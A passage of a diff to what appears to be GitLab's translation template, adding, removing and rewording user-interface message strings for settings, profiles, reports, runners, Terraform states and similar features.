msgstr ""
@@ -20033,6 +20497,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20162,6 +20629,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20171,6 +20656,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20201,6 +20689,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20558,9 +21049,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20813,7 +21301,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20855,6 +21346,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -20915,9 +21409,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -20939,6 +21430,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21008,6 +21505,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21389,6 +21889,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21704,6 +22207,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21857,6 +22363,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -21939,9 +22448,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22015,6 +22521,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22042,9 +22551,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22249,9 +22755,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22267,15 +22770,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22354,6 +22854,13 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22385,6 +22892,10 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22436,6 +22947,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22466,12 +22980,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22499,6 +23019,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22532,10 +23055,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22651,12 +23174,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22783,6 +23312,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22820,6 +23352,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22839,6 +23374,9 @@ msgstr[0] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -22908,6 +23446,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -22971,12 +23512,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23004,9 +23539,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23109,12 +23641,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23133,7 +23659,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23190,15 +23716,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23301,6 +23821,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23340,9 +23863,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23411,6 +23931,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23597,6 +24120,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23760,6 +24286,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -23877,9 +24409,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24222,12 +24751,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24270,21 +24793,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24303,6 +24835,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24399,9 +24934,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24456,13 +24988,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24490,6 +25025,9 @@ msgid "Showing %d event"
msgid_plural "Showing %d events"
msgstr[0] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24584,10 +25122,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24638,6 +25179,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24749,9 +25293,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24797,7 +25338,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -24878,10 +25419,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25163,10 +25707,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25190,6 +25734,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25307,9 +25854,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25469,6 +26013,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25637,6 +26193,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25646,6 +26205,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25694,6 +26256,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -25868,6 +26433,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26036,9 +26604,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26078,6 +26643,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26086,24 +26654,48 @@ msgid "Terraform|%{number} Terraform report was generated in your pipelines"
msgid_plural "Terraform|%{number} Terraform reports were generated in your pipelines"
msgstr[0] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26123,6 +26715,12 @@ msgstr[0] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26150,6 +26748,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26180,6 +26781,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26274,9 +26878,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26286,10 +26887,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26358,9 +26959,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26401,6 +26999,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26449,6 +27050,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26494,6 +27101,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26605,6 +27215,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26614,7 +27227,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26626,9 +27239,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26644,6 +27254,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26731,6 +27344,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27046,9 +27662,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27058,9 +27671,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27103,6 +27713,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27166,7 +27779,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27175,9 +27788,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27292,7 +27902,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27313,9 +27923,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27394,6 +28001,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27439,6 +28049,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27739,6 +28352,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27753,6 +28369,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -27888,7 +28507,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -27987,6 +28606,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28329,6 +28951,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28395,7 +29020,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28467,10 +29092,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28665,9 +29290,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28686,6 +29308,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28722,6 +29347,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28812,6 +29440,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -28959,6 +29590,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29016,6 +29653,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29061,6 +29701,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29091,6 +29734,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29127,6 +29773,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29169,15 +29818,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
